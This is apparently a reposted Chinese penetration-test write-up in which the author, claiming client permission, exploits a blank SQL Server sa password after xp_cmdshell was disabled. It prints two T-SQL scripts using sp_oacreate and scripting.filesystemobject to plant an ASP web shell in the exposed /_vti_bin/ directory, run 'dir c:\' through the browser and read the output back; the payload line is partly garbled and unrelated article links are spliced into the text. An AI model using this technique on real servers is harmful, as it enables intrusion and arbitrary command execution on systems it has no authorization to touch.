在一次給客戶做安全方案的設計的時候,對方提出一個要求希望我們可以實際攻擊下他們的網絡以驗證是否真實存有安全漏洞,在得到客戶許可以後我遠程對他的網絡進行了一次匿名的掃描探測,報告很快就出來了很簡單SQL SERVER的管理員口令為空任何人都可以遠程登陸過去連接,我還是按照慣例想利用CMDSHELL這個擴展的存儲進程去執行一些東西才發現原來有點不一樣了。 ·安全標識與警示標識標簽圖例與標准·XP瘦身、加速、安全全攻略·安全也簡單,注意系統的“區域和語言”·工業安全標簽標識與OSHA·TCP/IP各層的安全性和提高各層安全性的·TCP/IP各層的安全性和提高各層安全性的·TCP/IP各層的安全性和提高各層安全性的·安全-包過濾控制訪問列表·FTP的安全問題 《轉》·寬帶帳號安全威脅及防范方法
我本來想簡單的利用個相成的工具去執行,可對方服務器給我返回了錯誤的消息,很顯然對方的管理員出於安全的考慮已經把一些比較危險的SQL SERVER下東西給禁止了。近來網絡上關於SQL SERVER安全配置的文章很多,看來的確還是有點作用。我接下來嘗試利用SA的管理員身份恢復xp_cmdshell結果都是不成功。 看來這次的攻擊有點意思了,我翻了一些資料找了找其他相關的說明最後把我的解決方法給大家參考。 首先我在CGI的掃描探測中發現對方IIS服務器存有危險的虛擬目錄沒有做刪除處理比如/_vti_bin/這個目錄就還存在,,根據常識我可以知道這個目錄對應的真實物理路徑是在C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\40\isapi\這個目錄下面,好的現在我們已經知道對方站點的一個真實可用的物理路徑了,想想看以前總有人說暴露物理路徑不是什麼危險的漏洞,其實不然現在很多漏洞都是組合在一起利用。 然後利用SQL SERVER的客戶端軟件連過去,執行一個比較有意思的SQL腳本: -- scripting.filesystemobject example - create a 'run this' .asp file declare @o int, @f int, @t int, @ret int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\40\isapi\foo.asp', 1 exec @ret = sp_oamethod @f, 'writeline', NULL, ' c:\i0.sys ") %>' 這個腳本看意思我們知道就是在對方的服務器的目錄下寫一個可執行的ASP文件,然後執行裡面的命令dir c:\把結果定向到C盤下的一個文件。可能有人說這個腳本比較笨我也想把它寫的更好,可惜自己能力有限試了幾個其他的寫法都是不成功。 在SQL SERVER的查詢分析器裡面我們在遠程執行這個腳本,成功以後我們就可以利用IE去遠程的服務器上調用這個文件來執行裡面的程序。 IE執行成功以後,我們再利用另外一個SQL腳本來查看結果。 -- scripting.filesystemobject example - read a known file declare @o int, @f int, @t int, @ret int declare @line varchar(8000) exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'opentextfile', @f out, 'c:\i0.sys', 1 exec @ret = sp_oamethod @f, 'readline', @line out while( @ret = 0 ) begin print @line exec @ret = sp_oamethod @f, 'readline', @line out end OK,我們可以從SQL SERVER中遠程看到對方服務器的C盤文件列表了,當然你還可以做很多其他的事情,比如提升你的權限等等。但是做為遠程滲透服務測試來說,我們已經圓滿的完成了客戶的要求。